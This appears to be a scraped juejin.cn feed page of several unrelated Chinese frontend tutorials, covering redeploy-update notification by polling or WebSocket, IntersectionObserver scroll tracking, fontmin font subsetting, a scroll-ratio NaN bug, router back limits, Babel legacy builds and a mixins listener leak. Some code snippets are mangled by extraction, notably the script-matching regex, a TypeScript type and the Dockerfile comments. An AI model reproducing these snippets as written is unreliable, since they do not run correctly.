前端构建完上线,用户还停留还在老页面,用户不知道网页重新部署了,跳转页面的时候有时候js连接hash变了导致报错跳不过去,并且用户体验不到新功能。

2. 解决方案

  1. 每次打包写入一个json文件,或者对比生成的script的src引入的hash地址或者etag不同,轮询调用,判断是否更新
  2. 前端使用websocket长连接,具体是每次构建,打包后通知后端,更新后通过websocket通知前端

轮询调用可以改成在前置路由守卫中调用,无需控制时间,用户有操作才去调用判断。

3. 具体实现

3.1 轮询方式

参考小满的实现稍微修改下:

class Monitor {
private oldScript: string[] = []

private newScript: string[] = []

private oldEtag: string | null = null

private newEtag: string | null = null

dispatch: Record() => void)[]> = {}

private stop = false

constructor() {
this.init()
}

async init() {
console.log('初始化')
const html: string = await this.getHtml()
this.oldScript = this.parserScript(html)
this.oldEtag = await this.getEtag()
}
// 获取html
async getHtml() {
const html = await fetch('/').then((res) => res.text())
return html
}
// 获取etag是否变化
async getEtag() {
const res = await fetch('/')
return res.headers.get('etag')
}
// 解析script标签
parserScript(html: string) {
const reg = /]*)?>(.*?)<\/script\s*>/gi
return html.match(reg) as string[]
}
// 订阅
on(key: 'update', fn: () => void) {
;(this.dispatch[key] || (this.dispatch[key] = [])).push(fn)
return this
}
// 停止
pause() {
this.stop = !this.stop
}

get value() {
return {
oldEtag: this.oldEtag,
newEtag: this.newEtag,
oldScript: this.oldScript,
newScript: this.newScript,
}
}
// 两层对比有任一个变化即可
compare() {
if (this.stop) return
const oldLen = this.oldScript.length
const newLen = Array.from(
new Set(this.oldScript.concat(this.newScript))
).length
if (this.oldEtag !== this.newEtag || newLen !== oldLen) {
this.dispatch.update.forEach((fn) => {
fn()
})
}
}
// 检查更新
async check() {
const newHtml = await this.getHtml()
this.newScript = this.parserScript(newHtml)
this.newEtag = await this.getEtag()
this.compare()
}
}

export const monitor = new Monitor()

// 路由前置守卫中调用
import { monitor } from './monitor'

monitor.on('update', () => {
console.log('更新数据', monitor.value)
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {
monitor.pause()
},
})
})

router.beforeEach((to, from, next) => {
monitor.check()
})

3.2 websocket方式

既然后端不好沟通,那就自己实现一个完整版。

具体流程如下:

image.png

3.2.1 代码实现

服务端使用koa实现:

// 引入依赖 koa koa-router koa-websocket short-uuid koa2-cors
const Koa = require('koa')
const Router = require('koa-router')
const websockify = require('koa-websocket')
const short = require('short-uuid')
const cors = require('koa2-cors')

const app = new Koa()
// 使用koa2-cors中间件解决跨域
app.use(cors())

const router = new Router()

// 使用 koa-websocket 将应用程序升级为 WebSocket 应用程序
const appWebSocket = websockify(app)

// 存储所有连接的客户端进行去重处理
const clients = new Set()

// 处理 WebSocket 连接
appWebSocket.ws.use((ctx, next) => {
// 存储新连接的客户端
clients.add(ctx.websocket)
// 处理连接关闭事件
ctx.websocket.on('close', () => {
clients.delete(ctx.websocket)
})
ctx.websocket.on('message', (data) => {
ctx.websocket.send(666)//JSON.stringify(data)
})
ctx.websocket.on('error', (err) => {
clients.delete(ctx.websocket)
})

return next(ctx)
})

// 处理外部通知页面更新的接口
router.get('/api/webhook1', (ctx) => {
// 向所有连接的客户端发送消息,使用uuid确保不重复
clients.forEach((client) => {
client.send(short.generate())
})
ctx.body = 'Message pushed successfully!'
})

// 将路由注册到应用程序
appWebSocket.use(router.routes()).use(router.allowedMethods())

// 启动服务器
appWebSocket.listen(3000, () => {
console.log('Server started on port 3000')
})

前端页面代码:

websocket使用vueuse封装的,保持个心跳。

import { useWebSocket } from '@vueuse/core'

const { open, data } = useWebSocket('ws://hzsunrise.top/ws', {
heartbeat: {
message: 'ping',
interval: 5000,
pongTimeout: 10000,
},
immediate: true, // 自动连接
autoReconnect: {
retries: 6,
delay: 3000,
},
})


watch(data, (val) => {
if (val.length !== '3HkcPQUEdTpV6z735wxTum'.length) return
Modal.confirm({
title: '更新提示',
icon: createVNode(ExclamationCircleOutlined),
content: '版本有更新,是否刷新页面!',
okText: '刷新',
cancelText: '不刷新',
onOk() {
// 更新操作
location.reload()
},
onCancel() {},
})
})

// 建立连接
onMounted(() => {
open()
})
// 断开链接
onUnmounted(() => {
close()
})

3.2.2 发布部署

后端部署:

考虑服务器上没有安装node环境,直接使用docker进行部署,使用pm2运行node程序。

  1. 写一个DockerFile,发布镜像
// Dockerfile:

# 使用
Node.js 作为基础镜像
FROM node:14-alpine

# 设置工作目录

WORKDIR /app

# 复制 package.
json 和 package-lock.json 到容器中
COPY package.json ./

# 安装项目依赖

RUN npm install
RUN npm install -g pm2

# 复制所有源代码到容器中

COPY . .

# 暴露端口号

EXPOSE 3000

# 启动应用程序

CMD ["pm2-runtime","app.js"]

本地进行打包镜像发送到docker hub,使用docker build -t f5l5y5/websocket-server-image:v0.0.1 .命令生成镜像文件,使用docker push f5l5y5/websocket-server-image:v0.0.1 推送到自己的远程仓库

  1. 服务器拉取镜像,运行

拉取镜像:docker pull f5l5y5/websocket-server-image:v0.0.1

运行镜像: docker run -d -p 3000:3000 --name websocket-server f5l5y5/websocket-server-image:v0.0.1

可进入容器内部查看:docker exec -it sh # 使用 sh 进入容器

查看容器运行情况:

image.png

进入容器内部查看程序运行情况,pm2常用命令

image.png

此时访问/api/webhook1会找到项目的对应路由下,需要配置下nginx代理转发

  1. 配置nginx接口转发
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 80;
server_name hzsunrise.top;
client_max_body_size 50M;

location / {
root /usr/local/openresty/nginx/html/xxx-admin;
try_files $uri $uri/ /index.html;
}
// 将触发的更新代理到容器的3000
location /api/webhook1 {
proxy_pass http://localhost:3000/api/webhook1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
// websocket 配置
location /ws {
# 反向代理到容器中的WebSocket接口
proxy_pass http://localhost:3000;
# 支持WebSocket协议
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "Upgrade";
}
}

3.2.3 测试

url请求api/webhook即可

image.png

4. 总结

主要实践下两种方案:

  1. 轮询调用方案:轮询获取网页引入的脚本文件的hash值或者etag来实现。这种方案的优点是实现简单,但存在性能消耗和延迟较高的问题。
  2. WebSocket版本方案:在前端部署的同时建立一个WebSocket连接,将后端构建部署完成的通知发送给前端。当后端完成部署后,通过WebSocket向前端发送消息,提示用户刷新页面以加载最新版本。这种方案的优点是实时性好,用户体验较好,但需要在前端和后端都进行相应的配置和代码开发。

选择合适的方案取决于具体的需求和实际情况,仅供参考O^O!

参考文章

小满-前端重新部署如何通知用户刷新网页?


作者:一诺滚雪球
来源:juejin.cn/post/7264396960558399549

收起阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动

web
哇噻,简直是个天才,无需scroll事件就能监听到元素滚动 1. 前言 最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样 这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之...
继续阅读 »

哇噻,简直是个天才,无需scroll事件就能监听到元素滚动


1. 前言


最近在做 toolTip 弹窗相关组件封装,实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框,类似下面这样


bandicam 2024-03-10 10-21-30-103.gif


这时我遇到一个问题,因为我想当这个弹窗快要滚出屏幕之外时能够从由上面弹出变到由下面弹出,本来想着直接监听 scroll 事件就能搞定的,但是仔细一想 scroll 事件到底要绑定到那个 DOM 上呢? 因为很多时候滚动条出现的元素并不是最外层的 body 或者 html 可能是任意一个元素上的滚动条。这个时候就无法通过绑定 scroll 事件来监听元素滚动了。


2. 问题分析


我脑海中首先 IntersectionObserver 这个 API,但是这个 API 只能用来 监测目标元素与视窗(viewport)的交叉状态,也就是当我的元素滚出或者滚入的时候可以触发该监听的回调。


new IntersectionObserver((event) => {
refresh();
}, {
// threshold 用来表示元素在视窗中显示的交叉比例显示
// 设置的是 0 即表示元素完全移出视窗,1 或者完全进入视窗时触发回调
// 0表示元素本身在视口中的占比0%, 1表示元素本身在视口中的占比为100%
// 0.1表示元素本身在视口中的占比1%,0.9表示元素本身在视口中的占比为90%
threshold: [0, 1, 0.1, 0.9]
});

这样就可以在元素快要移出屏幕,或者移入屏幕时触发回调了,但是这样会有一个问题


1710037754965.jpg


当弹窗移出屏幕时,可以很轻松的监听到,并把弹窗移动到下方,但是当弹窗滚入的时候就有问题了


image.png


可以看到完全进入之后,这个时候由于顶部空间不够,还需要继续往下滚才能将弹窗由底部移动到顶部。但是已经无法再触发 IntersectionObserver 和视口交叉的回调事件了,因为元素已经完全在视窗内了。
也就是说用这种方案,元素一旦滚出去之后,再回来的时候就无法复原了。


3. 把问题抛给别人


既然自己很难解决,那就看看别人是怎么解决这个问题的吧,我直接上 饿了么UI 上看看它的弹窗组件是怎么做的,于是我找到了 floating-ui 也就是原来的 popper.js 现在改名字了。


image.png
在文档中,我找到自动更新这块,也就是 floating-ui 通过监听器来实现自动更新弹窗位置。
到这里就可以看看 floating-ui 的源码了。


import {autoUpdate} from '@floating-ui/dom';

可以看到这个方法是放在 'floating-ui/dom'下面的


image.png
github.com/floating-ui…
于是进入 floating-ui 的 github 地址,找到 packagesdom 下的 src 目录下,就可以看到想要的 autoUpdate.ts 了。


4. 天才的想法


抛去其它不重要的东西,实现自动更新主要就是其中的 refresh 方法,先看一下代码


function refresh(skip = false, threshold = 1) {
// 清理操作,清理上一次定时器和监听
cleanup();

// 获取元素的位置和尺寸信息
const {
left,
top,
width,
height
} = element.getBoundingClientRect();

if (!skip) {
// 这里更新弹窗的位置
onMove();
}

// 如果元素的宽度或高度不存在,则直接返回
if (!width || !height) {
return;
}

// 计算元素相对于视口四个方向的偏移量
const insetTop = Math.floor(top);
const insetRight = Math.floor(root.clientWidth - (left + width));
const insetBottom = Math.floor(root.clientHeight - (top + height));
const insetLeft = Math.floor(left);
// 这里就是元素的位置
const rootMargin = `${-insetTop}px ${-insetRight}px ${-insetBottom}px ${-insetLeft}px`;

// 定义 IntersectionObserver 的选项
const options = {
rootMargin,
threshold: Math.max(0, Math.min(1, threshold)) || 1,
};

let isFirstUpdate = true;

// 处理 IntersectionObserver 的观察结果
function handleObserve(entries) {
// 这里事件会把元素和视口交叉的比例返回
const ratio = entries[0].intersectionRatio;
// 判断新的视口比例和老的是否一致,如果一致说明没有变化
if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}

if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素完全不可见时,保证重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

isFirstUpdate = false;
}

// 创建 IntersectionObserver 对象并开始观察元素
io = new IntersectionObserver(handleObserve, options);
// 监听元素
io.observe(element);
}

refresh(true);


可以发现代码其实不复杂,但是其中最重要的有几个点,我详细介绍一下


4.1 rootMargin


最重要的其实就是 rootMargin, rootMargin到底是做啥用的呢?


我上面说了 IntersectionObserver监测目标元素与视窗(viewport)的交叉状态,而这个 rootMargin 就是可以将这个视窗缩小。


比如我设置 rootMargin 为 "-50px -30px -20px -30px",注意这里 rootMarginmargin 类似,都是按照 上 右 下 左 来设置的


image.png


可以看到这样,当元素距离顶部 50px 就触发了事件。而不必等到元素完全滚动到视口。


既然这样,当我设置 rootMargin 就是该元素本身的位置,不就可以实现只要元素一滚动,就触发事件了吗?


1710041265393.jpg


4.2 循环监听事件


仅仅将视口缩小到该元素本身的位置还是不够,因为只要一滚动,元素的位置就发生了改变,即视口的位置也需要跟随着元素的位置变化进行变化


if (ratio !== threshold) {
if (!isFirstUpdate) {
return refresh();
}
if (!ratio) {
// 即元素完全不可见时,也就是ratio = 0时,代码设置了一个定时器。
// 这个定时器的作用是在短暂的延迟(100毫秒)后,再次调用 `refresh` 函数,
// 这次传递一个非常小的阈值 `1e-7`。这样可以在元素在视口不可见时,保证可以重新触发监听
timeoutId = setTimeout(() => {
refresh(false, 1e-7);
}, 100);
} else {
refresh(false, ratio);
}
}

也就是这里,可以看到每一次元素距离视口的比例变化后,都重新调用了 refresh 方法,根据当前元素和屏幕的新的距离,创建一个新的监听器。


这样的话也就实现了类似 scroll 的效果,通过不断变化的视口来确认元素的位置是否发生了变化


5. 结语


所以说有时候思路还是没有打开,刚看到这个实现思路确实惊到我了,没有想到借助 rootMargin 可以实现类似 scroll 监听的效果。很多时候得多看看别人的实现思路,学习学习大牛写的代码和实现方式,对自己实现类似的效果相当有帮助



floating-ui



作者:码头的薯条
来源:juejin.cn/post/7344164779630673946
收起阅读 »

如何将用户输入的名称转成艺术字体-fontmin.js

web
写在开头 日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下: <template> <div class="font">橙某人</div> </template...
继续阅读 »

写在开头


日常我们在页面中使用特殊字体,一般操作都是直接由前端来全量引入设计师提供的整个字体包即可,具体操作如下:


<template>
<div class="font">橙某人</div>
</template>

<style scoped>
@font-face {
font-family: "orange";
src: url("./orange.ttf");
}
.font {
font-family: "orange";
}
</style>


很简单吧🤡,但有时应用场景不同,可能需要我们考虑一下性能问题。



一般来说,我们常见的字体包整个是非常大的,小的有几M到十几M,大的可能去到上百M都有,特别是中文类的字体包会相对英文类的要更大一些。



如本文案例,我们仅需在用户输入完后加载对应的字体包即可,这样能避免性能的损耗。


为此,我们需要把整个字体包拆分、细致化、子集化,让它能达到按需引入的效果。


那么这要如何来做这个事情呢?这个方案单单前端可做不了,我们需要配合后端一起,下面就来看看具体的实现过程吧。😗


前端


前端小编用 Vue 来编写,具体如下:


<template>
<div>
<input v-model="name" />
<button @click="handleClick">生成</button>
<div v-if="showName" class="font">{{ showName }}</div>
</div>

</template>

<script>
export default {
data() {
return {
name: "",
showName: "",
};
},
methods: {
handleClick() {
// 创建link标签
const linkElement = document.createElement("link");
linkElement.setAttribute("rel", "stylesheet");
linkElement.setAttribute("type", "text/css");
linkElement.href = `http://localhost:3000?name=${encodeURIComponent(this.name)}`;
document.body.appendChild(linkElement);
// 优化显示效果
setTimeout(() => {
this.showName = this.name;
}, 300);
},
},
};
</script>


<style>
.font {
font-family: orange;
font-size: 50px;
}
</style>


应该都能看懂吧,主要就是生成了一个 <link /> 标签并插入到文档中,标签的请求地址指向我们服务端,至于服务端会返回什么你可以先猜一猜。👻


服务端


服务端小编选择用 Koa2 来编写,你也可以选择 Express 或者 Egg ,甚至 Node 也是可以的,差异不大,具体逻辑如下:


const koa = require("koa2");
const fs = require("fs");
const FontMin = require("fontmin");

const app = new koa();

/** @name 优化,缓存已经加载过的字体包进内存 **/
const fontFamilyMap = {};

/** @name 加载字体包 **/
function loadFontLibrary(fontPath, fontFamily) {
if (fontFamilyMap[fontFamily]) return fontFamilyMap[fontFamily];
return new Promise((resolve, reject) => {
fs.readFile(fontPath, (error, file) => {
if (error) {
reject(new Error(error.message));
} else {
fontFamilyMap[fontFamily] = file;
resolve(file);
}
});
});
}

app.use(async (ctx) => {
const { name } = ctx.query;
// 设置返回文件类型
ctx.set("Content-Type", "text/css");

const fontPath = "./font/orange.ttf";
const fontFamily = "orange";
if (!fs.existsSync(fontPath)) return (ctx.body = "字体包读取失败");

const fontMin = new FontMin();
const fontFile = await loadFontLibrary(fontPath, fontFamily);
fontMin.src(fontFile);

const getFontCSS = () => {
return new Promise((resolve) => {
fontMin
.use(FontMin.glyph({ text: name }))
.use(FontMin.css({ base64: true, fontFamily }))
.run((error, files) => {
if (error) {
console.log("error", error.message);
} else {
const fontContent = files?.[1]?.contents;
resolve(fontContent);
}
});
});
};

const fontCSS = await getFontCSS();

ctx.body = fontCSS;
});

app.listen(3000);

console.log("服务器开启: http://localhost:3000/");

我们主要是采用了 Fontmin 库来完成整个字体包的按需加载功能,这个库是第一个纯 JavaScript 字体子集化方案。



可能有后端是 Java 或者其他技术栈的小伙伴,你们也不用担心,据小编和公司后端同事了解,不同技术栈也是有对应的库可以解决的,需要的可以自行查查看。










至此,本篇文章就写完啦,撒花撒花。


image.png


希望本文对你有所帮助,如有任何疑问,期待你的留言哦。

老样子,点赞+评论=你会了,收藏=你精通了。


作者:橙某人
来源:juejin.cn/post/7293151700869038099
收起阅读 »

谁还没个靠bug才能正常运行的程序😌

web
最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^ 这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。 下面是演示代码和动图 <!DO...
继续阅读 »

最近遇到一个问题,计算滚动距离,滚动比例达到某界定值时,显示mask,很常见吧^ _ ^


这里讲的不是这个需求的实现,是其中遇到了一个比较有意思的bug,靠这个bug才达到了正确效果,以及这个bug是如何暴露的(很重要)。


下面是演示代码和动图


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.container {
width: 300px;
max-height: 300px;
background-color: black;
position: absolute;
top: 60px;
left: 50%;
transform: translateX(-50%);
overflow-y: auto;
}
.child {
width: 260px;
height: 600px;
margin: 0px 20px;
background-color: pink;
position: relative;
}
.flag {
position: absolute;
width: 100%;
height: 25px;
background-color: blueviolet;
color: aliceblue;
text-align: center;
line-height: 25px;
font-size: 14px;
left: 0;
right: 0;
}
.top {
top: 0;
}
.bottom {
bottom: 0px;
}
</style>
</head>

<body>
<div class="container">
<div class="child">
<div class="flag top">top</div>
<div class="flag bottom">bottom</div>
</div>
</div>
</body>
</html>


20230927105849_rec_.gif




开始计算啦,公式:滚动比例 = 滚动距离 / 可滚动距离


滚动距离: $0.scrollTop


可滚动距离: $0.scrollHeight - $0.offsetHeight


即:scrollRatio = scrollTop / (scrollHeight - offsetHeight)


滚动到底部,计算结果是 300 / (600 - 300) = 1


image.png


我们需要拿scrollRatio某界定值(比如0.1)作大小的比较,计算是true还是false(用isShow = scrollRatio < 某界定值来保存)。


这里一切正常。




不正常的情况出现了


就是没有出现滚动条的情况,即.child的高度没有超过.container的高度时,把.child的高度设成.containermax-height,就没有滚动条了(下面讲的情景也都是没有滚动条的情况)。


image.png


这个时候再去计算,得到了NaN,以至于 NaN < 0.1 = false


image.png


因为isShow的预期就是false,所以一直都没有发现这个bug。




那么它是如何暴露的呢?


后来新的需求给.container加了border。演示一下加border,然后再去计算:


image.png


发现没,这时候$0.offsetHeight的高度把border的高度也算进去了,结果就成了true,这不是想要的结果 ❌。




然后就是一番查验


offsetHeight是一个元素的总高度,包括可见内容的高度、内边距(padding)、滚动条的高度(如果存在)以及边框(border)的高度。


而我们这里只需要可见的高度,就可以用到另一个属性了clientHeight


clientHeight是指元素的可见内容区域的高度,不包括滚动条的高度和边框的高度。它仅包括元素的内部空间,即内容加上内边距。


image.png


当然这也只是继续使除数为0,然后得到结果为NaN,不过bug已经暴露出来了,后面就是一些其他的优化啦~




总结 + 复习(盒模型 box-sizing)


发现没有,offsetHeightclientHeight的区别,就像盒模型中的标准盒模型怪异盒模型的区别:


box-sizing: content-box(默认,标准盒模型):宽度和高度的计算值都 不包含 内容的边框(border)和内边距(padding)。添加padding和border时, 使整个div的宽高变大。


box-sizing: border-box(怪异盒模型):宽度和高度的计算值都 包含 内容的边框(border)和内边距(padding)。添加padding和border时, 不会 使整个div的宽高变大。


这样讲是不是加深一下对这两种属性的印象


^ - ^


作者:aomyh
来源:juejin.cn/post/7283087306603823116
收起阅读 »

项目经理要求不能回退到项目以外的路由 , 简单解决 !

web
不知道小伙伴们有遇到过项目经理哪些奇奇怪怪的需求呢 ? 曾经在项目中遇到过这样一个需求 : 点击按钮回退时不能回退到项目以外的路由 ; 例如我们的用户正在访问我们的页面时 , 突然有访问某个有趣的网站的冲动 , 在浏览器输入了一串祖传网址 , 一番欣...
继续阅读 »

不知道小伙伴们有遇到过项目经理哪些奇奇怪怪的需求呢 ?


640 (2).png




  • 曾经在项目中遇到过这样一个需求 : 点击按钮回退时不能回退到项目以外的路由 ;

  • 例如我们的用户正在访问我们的页面时 , 突然有访问某个有趣的网站的冲动 , 在浏览器输入了一串祖传网址 , 一番欣赏后通过浏览器搜索栏回到我们的应用中 , 又点击了我们应用中的回退按钮 , 要求不能回退到用户刚才访问的项目外地址 。



router编程式导航


首先先回顾一下router的两个回退方法(Vue2用法) :



  • this.$router.back() --回退

  • this.$router.go(-1) --前进或后退 , 值为-1时后退


// Vue3用法
// 1. 引入 useRouter 方法
import { useRouter , useRoute } from 'vue-router'
// 2. 实例化router
const router = useRouter()
// 3. 使用方法进行回退
router.back()

history全局对象


我们怎样知道刚才访问的页面是否为项目中配置的路由呢 ?


history对象 !!



  • history对象是浏览器提供的一个全局对象,它包含了浏览器的浏览历史记录

  • history.state : history提供了state属性 , 返回当前历史状态对象


我们在点击返回按钮时可以在控制台查看一下history.state 属性


当我们使用项目外的网站跳转至项目路由再进行回退 :


null.png


我们可以看到state中有一个back属性 , 当外部网站跳转回来时history.state.back值为null


那么项目内部相互跳转再进行回退是什么效果呢 ?


login.png


我们可以看到state中的back值为/login , 那么我们就可以用小back来做判断了


// 回退按钮
<button @click="onClickBack">返回</button>
<templete>

</templete>
// 点击返回按钮事件函数
const onClickBack = () => {
//1. console.log(history) 可以试打印一下history对象
if ( history.state?.back ) {
//2. 如果history.state?.back不为null , 返回上一个页面
router.back()
} else {
//3. 否则返回主页面
router.push('/')
}
}


拓展: 可选链



  • 上面代码中我们用到了history.state?.back, 上文我们有提到history.state?.back的值有可能为null , 所以会发生找不到back属性的情况 ;

  • 我们可以使用ES2021可选链, 当然也可以使用条件判断或三元运算符等方法 , 相较而言可选链更加便捷一些 ;

  • ES2021(也称为ES12)是JavaScript的最新版本,于2021年6月发布。



640 (11).jpg


以上是我解决此问题的方案 , 小伙伴们有什么更好的方案可以一起探讨一下下~


作者:Kikoyuan
来源:juejin.cn/post/7263025923967516733
收起阅读 »

抛弃legacy,拥抱Babel

web
背景 公司项目使用Vite + Vue3技术栈,为了兼容低版本浏览器,使用@vitejs/plugin-legacy做代码转换,关于@vitejs/plugin-legacy是如何做代码转换的,参考我的这篇文章。 不过@vitejs/plugin-legacy...
继续阅读 »

背景


公司项目使用Vite + Vue3技术栈,为了兼容低版本浏览器,使用@vitejs/plugin-legacy做代码转换,关于@vitejs/plugin-legacy是如何做代码转换的,参考我的这篇文章


不过@vitejs/plugin-legacy存在以下几个问题:



  • 速度太慢,生成两套代码真的很耗时间

  • 动态加载兼容性代码在使用wujie等微前端框架时存在问题,无法正确加载兼容代码


基于此,笔者决定试试直接使用Babel转化代码,看看效果怎么样。


拥抱Babel


Babel是什么


如果你不知道Babel是什么,请参考这里


Babel 和 @vitejs/plugin-legacy对比


@vitejs/plugin-legacy 内部使用Babel做代码转化从而兼容低版本浏览器


@vitejs/plugin-legacy 会向html文件中插入按需加载兼容代码的逻辑,只有在低版本浏览器中才加载兼容代码


如果使用Babel做转化,则没有按需加载兼容代码的能力,每次都是加载兼容代码,在高版本的浏览器中毫无疑问的需要加载更多代码


使用Babel做转换,不会动态加载兼容代码,在微前端框架中稳定性会更好


实操


安装babel插件


首先安装@rollup/plugin-babel插件,此插件是一个Rollup插件,允许在Rollup中使用babel,因为Vite在打包时使用的就是Roolup,Vite官方也对部分主流Rollup插件做了兼容,所以此插件在Vite中可以放心使用。


pnpm add @rollup/plugin-babel -D

同时需要安装一些babel依赖:


pnpm add @babel/preset-env core-js@3 regenerator-runtime

注意 core-js需要使用最新的3版本,regenerator-runtime则用来做async、await语法转化


配置方法


首先需要在项目入口文件处加上如下两句:即引入polyfill


import 'core-js/stable';
import 'regenerator-runtime/runtime';

然后,在vite.config.ts文件中删除@vitejs/plugin-legacy插件,并在打包阶段加入@rollup/plugin-babel插件


import { defineConfig } from 'vite';
import PostCssPresetEnv from 'postcss-preset-env';
import { babel } from '@rollup/plugin-babel';

export default defineConfig(() => {
return {
build: {
cssTarget: 'chrome70', // 注意添加css的低版本兼容,当然也可以配置PostCssPresetEnv
target: 'es2015', // 使用esbuild将代码转换为ES5
rollupOptions: {
plugins: [
// https://www.npmjs.com/package/@rollup/plugin-babel
babel({
babelHelpers: 'bundled',
presets: [
[
'@babel/preset-env',
{
useBuiltIns: 'entry', // 注意这里只能使用 entry
corejs: '3',
targets: 'last 2 versions and not dead, > 0.2%, Firefox ESR',
},
],
],
plugins: [],
compact: false,
}),
],
},
},
css: {
preprocessorOptions: {
css: { charset: false },
},
postcss: {
// 注意这里需要对css也做下低版本兼容,否则部分样式无法应用
plugins: [PostCssPresetEnv()],
},
},
};
});

使用以上配置,表示当前我们在构建阶段要使用Babel,其中有如下几点注意事项:



  • 入口处必须导入polyfill相关文件

  • babel的配置中useBuiltIns选项必须设置为entry,不可使用usage,使用后者会导致生成的兼容代码出问题,具体原因未知,有兴趣的小伙伴可以研究下。

  • corejs版本写自己的安装版本,一般为3即可

  • build.target需要配置为esbuild最低可转化版本es2015,能低就低原则

  • 注意配置css的兼容方案,可以使用postcss-preset-env做降级,这是比较推荐的方式,当然也可以使用build.cssTarget属性配置,具体配置方法参考这里


目前按照这一套下来是可以跑通,实现使用babel兼容低版本浏览器。


总结


本文介绍了一种在Vite中使用babel做低版本浏览器兼容的方法,亲测可行,但是在整个过程中遇到了很多阻力,比如:



  • 不能使用babel中的useBuiltIns: 'usage'

  • css 也需要做兼容

  • 入口处需要引入兼容库

  • ...


不过最后好在完成了低版本浏览器兼容。


在这个过程中,笔者越来越觉着Vite在带来优秀的开发体验的同时,也同样引入了打包的高复杂度,高度的默认优化使得用户很难自己随心所欲的配置打包方案,开发和打包的差异性也让人很是担忧,不知道打包后的代码是否能正常运行,种种这些问题让我很是怀念webpack的打包时代。


每个新型事物的出现都会伴随着利弊,Vite还很新,它大幅优化了前端的开发体验,但也间接提高了打包复杂度。


市面上的打包器很多Vite、Webpack、Esbuild、Turbopack、Rspack ...,如何抉择还得看屏幕前的你了。


最后,加油吧,前端工程师们!期待有一天一个真正完美的打包器的问世,那将是美妙的一天。


作者:程序员小杨v1
来源:juejin.cn/post/7242220704288964666
收起阅读 »

改造mixins,我释放了20倍终端性能

web
前言 彦祖们,今天分享一个笔者遇到的真实项目场景, 做了一个项目肿瘤切除术,直接把性能提升 20 倍 认真看完,帮你简历上亮点。阅读本文前,默认彦祖们已经了解 vue.mixins 眼见为实,彦祖们先看下优化前后的性能对比 优化前 优化后 项目背景 开...
继续阅读 »

前言


彦祖们,今天分享一个笔者遇到的真实项目场景, 做了一个项目肿瘤切除术,直接把性能提升 20 倍


认真看完,帮你简历上亮点。阅读本文前,默认彦祖们已经了解 vue.mixins


眼见为实,彦祖们先看下优化前后的性能对比



  • 优化前
    WechatIMG142.jpg

  • 优化后
    WechatIMG143.jpg


项目背景


开始之前,让我们来简述一下项目背景


笔者的项目业务是工业互联网,简而言之就是帮助工厂实现数字化


其中的终端叫做工控机(性能较我们 PC 会相差几十倍),理解一下 就是工业操控机器,说白了就是供工人操作业务的一个终端


类似于我们去医院自助挂号/打印报告的那种终端


技术栈



  • vue2


问题定位


在笔者接手项目(历时三年的老项目,实在是非常痛苦)的时候,发现其中一个页面过一段时间就奔溃无响应,导致现场屡次投诉


这种依附于终端的界面属实不好调试


经过各种手段摸排,我们定位到了问题所在


其实就是 vue mixins 内容部添加了重复的 websocket 事件监听器


导致页面重复渲染,接口重复调用


在线 Demo


老规矩先上 demo


stackblitz.com/edit/vue-74…


现场场景复现


下面笔者简单模拟一下线上的真实代码场景


代码结构


因为线上的组件结构非常复杂,子组件数量达到了 20 个甚至 30 个以上


笔者就抽象了主要问题,模拟了一下 5 个子组件的情况


image.png


总结一下图中的两个关键信息


1.child 子组件可能 会被多个父组件引用


2.child 子组件的层级是不固定


代码目录结构大致如下



  • Parent.vue // 主页面

  • mixins

    • index.js // 核心的 mixin 文件



  • component

    • child1.vue // 子组件

      • grandchild1.vue // 孙子组件



    • child2.vue

    • child3.vue

    • child4.vue

    • child5.vue




代码说明


接下来让我们简单来看下项目中各个代码文件的主要作用



  • mixins.js


剥离业务逻辑后,核心就是增加了一个onmessage事件监听器


最后通过各自子组件自定义的onWsMessage去处理对应的业务逻辑


export const wsMixin = {
created() {
window.addEventListener('onmessage', this.onmessage)
},
beforeDestory() {
window.addEventListener('onmessage', this.onmessage)
},
methods: {
// ... 省略其他业务方法
async onmessage(e) {
// 开始处理业务逻辑,这里用 fetch 接口代替,当然实际业务比这复杂太多
fetch(`https://api.example.com/${Date.now()}`)
// ...

// 开始处理对应的业务逻辑
this.onWsMessage(e.detail)
}
}
}



  • Parent.vue


引入子组件,并且模拟了 websocket 推送消息行为


<template>
<div id="app">
<Child1 />
<Child2 />
<Child3 />
<Child4 />
<Child5 />
</div>

</template>
<script>
import Child1 from './components/Child1.vue'
import Child2 from './components/Child2.vue'
import Child3 from './components/Child3.vue'
import Child4 from './components/Child4.vue'
import Child5 from './components/Child5.vue'
import { wsMixin } from './mixins'
// 模拟 websocket 1s 推送一次消息
setInterval(() => {
const event = new CustomEvent('onmessage', {
detail: { currentTime: new Date() }
})
window.dispatchEvent(event)
}, 1000)

export default {
name: 'Parent',
components: { Child1, Child2, Child3, Child4, Child5 },
mixins: [wsMixin],
methods: {
onWsMessage(data) {
console.log('parent onWsMessage', data)
}
}
}
</script>



  • child.vue


child.vue 核心逻辑都非常相似,此处以 child1.vue 举例,其他不再赘述


<template>
<div>
child1
</div>

</template>
<script>
import { wsMixin } from '../mixins'
export default {
mixins: [wsMixin],
methods: {
onWsMessage(data) {
console.log('child1 onWsMessage', data)
